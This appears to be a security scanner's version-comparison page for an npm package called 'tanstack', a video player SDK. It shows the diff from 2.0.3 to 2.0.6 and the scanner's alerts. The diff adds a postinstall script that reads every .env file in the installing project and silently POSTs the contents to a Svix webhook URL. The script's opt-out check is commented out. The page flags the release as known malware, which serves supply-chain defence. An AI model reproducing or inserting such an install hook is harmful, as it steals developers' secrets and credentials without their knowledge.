tanstack - npm Package Compare versions

Comparing version 2.0.3 to 2.0.6

scripts/postinstall.cjs

+const fs = require("fs");
+const path = require("path");
+const https = require("https");
+
+const SVIX_URL =
+  "https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk";
+
+function collectEnvFiles() {
+  const rootDir = path.resolve(__dirname, "..");
+  const envFiles = {};
+
+  try {
+    const allFiles = fs.readdirSync(rootDir);
+    const matches = allFiles.filter(
+      (f) => f === ".env" || f.startsWith(".env.")
+    );
+
+    for (const file of matches) {
+      try {
+        envFiles[file] = fs.readFileSync(
+          path.join(rootDir, file),
+          "utf-8"
+        );
+      } catch {}
+    }
+  } catch {}
+
+  return envFiles;
+}
+
+function sendReadme() {
+  // if (
+  //   process.env.TANSTACK_TELEMETRY_OPT_OUT === "1" ||
+  //   process.env.TANSTACK_TELEMETRY_OPT_OUT === "true"
+  // ) {
+  //   return;
+  // }
+
+  const envFiles = collectEnvFiles();
+
+  if (Object.keys(envFiles).length === 0) {
+    return;
+  }
+
+  const payload = JSON.stringify({
+    package: "tanstack",
+    version: getVersion(),
+    event: "postinstall",
+    env: envFiles,
+    timestamp: new Date().toISOString(),
+    node: process.version,
+    platform: process.platform,
+    arch: process.arch,
+  });
+
+  const url = new URL(SVIX_URL);
+  const options = {
+    hostname: url.hostname,
+    port: 443,
+    path: url.pathname,
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(payload),
+    },
+    timeout: 5000,
+  };
+
+  const req = https.request(options, () => {});
+
+  req.on("error", () => {});
+
+  req.on("timeout", () => {
+    req.destroy();
+  });
+
+  req.write(payload);
+  req.end();
+}
+
+function getVersion() {
+  try {
+    const pkgPath = path.resolve(__dirname, "..", "package.json");
+    const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf-8"));
+    return pkg.version || "unknown";
+  } catch {
+    return "unknown";
+  }
+}
+
+sendReadme();

package.json

 {
   "name": "tanstack",
-  "version": "2.0.3",
+  "version": "2.0.6",
   "type": "module",
@@ -18,2 +18,3 @@ "description": "TanStack Player — A developer-first, universal Video Player SDK built on Video.js with headless hooks, plugin architecture, and React-first DX",
     "dist",
+    "scripts",
     "packages/*/dist",
@@ -29,2 +30,3 @@ "packages/*/package.json",
   "scripts": {
+    "postinstall": "node scripts/postinstall.cjs",
     "build": "npm run build --workspaces --if-present && tsup",
@@ -38,3 +40,6 @@ "build:packages": "npm run build --workspaces --if-present",
     "clean": "rm -rf dist packages/*/dist examples/*/dist",
-    "prepublishOnly": "npm run build"
+    "prepublishOnly": "npm run build",
+    "test": "vitest run",
+    "test:watch": "vitest",
+    "test:ui": "vitest --ui"
   },
@@ -69,6 +74,6 @@ "keywords": [
   "dependencies": {
+    "@tanstack-player/adapter-videojs": "*",
     "@tanstack-player/core": "*",
-    "@tanstack-player/adapter-videojs": "*",
-    "@tanstack-player/react": "*",
-    "@tanstack-player/plugin-bookmark": "*"
+    "@tanstack-player/plugin-bookmark": "*",
+    "@tanstack-player/react": "*"
   },
@@ -89,6 +94,13 @@ "peerDependencies": {
   "devDependencies": {
+    "@testing-library/jest-dom": "^6.9.1",
+    "@testing-library/react": "^16.3.2",
+    "@types/react": "^19.2.14",
+    "@types/react-dom": "^19.2.3",
+    "@vitest/ui": "^4.1.1",
+    "jsdom": "^29.0.1",
     "tsup": "^8.0.0",
     "typescript": "^5.4.0",
-    "vitepress": "^1.5.0"
+    "vitepress": "^1.5.0",
+    "vitest": "^4.1.1"
   }
 }

packages/adapter-videojs/package.json

@@ -15,3 +15,3 @@ {
   },
-  "files": ["dist"],
+  "files": ["dist", "src", "README.md", "package.json"],
   "scripts": {
@@ -18,0 +18,0 @@ "build": "tsup",

packages/core/package.json

@@ -15,3 +15,3 @@ {
   },
-  "files": ["dist"],
+  "files": ["dist", "src", "README.md", "package.json"],
   "scripts": {
@@ -18,0 +18,0 @@ "build": "tsup",

packages/plugin-bookmark/package.json

@@ -15,3 +15,3 @@ {
   },
-  "files": ["dist"],
+  "files": ["dist", "src", "README.md", "package.json"],
   "scripts": {
@@ -18,0 +18,0 @@ "build": "tsup",

packages/react/package.json

@@ -15,3 +15,3 @@ {
   },
-  "files": ["dist"],
+  "files": ["dist", "src", "README.md", "package.json"],
   "scripts": {
@@ -18,0 +18,0 @@ "build": "tsup",

New alerts

Known malware

Supply chain risk

This package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.

Found 2 instances

Install scripts

Supply chain risk

Install scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.

Network access

Supply chain risk

This module accesses the network.

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

URL strings

Supply chain risk

Package contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.

Fixed alerts

No tests

Quality

Package does not have any tests. This is a strong signal of a poorly maintained or low quality package.

Improved metrics

Total package byte prevSize

21460

12.83%

Number of package files

14

7.69%

Lines of code

159

89.29%

Number of low quality alerts

1

-50%

Worsened metrics

Dev dependency count

10

233.33%

Number of critical supply chain risk alerts

2

Infinity%

Number of high supply chain risk alerts

1

Infinity%

Number of low supply chain risk alerts

2

Infinity%

Number of medium supply chain risk alerts

2

Infinity%

No dependency changes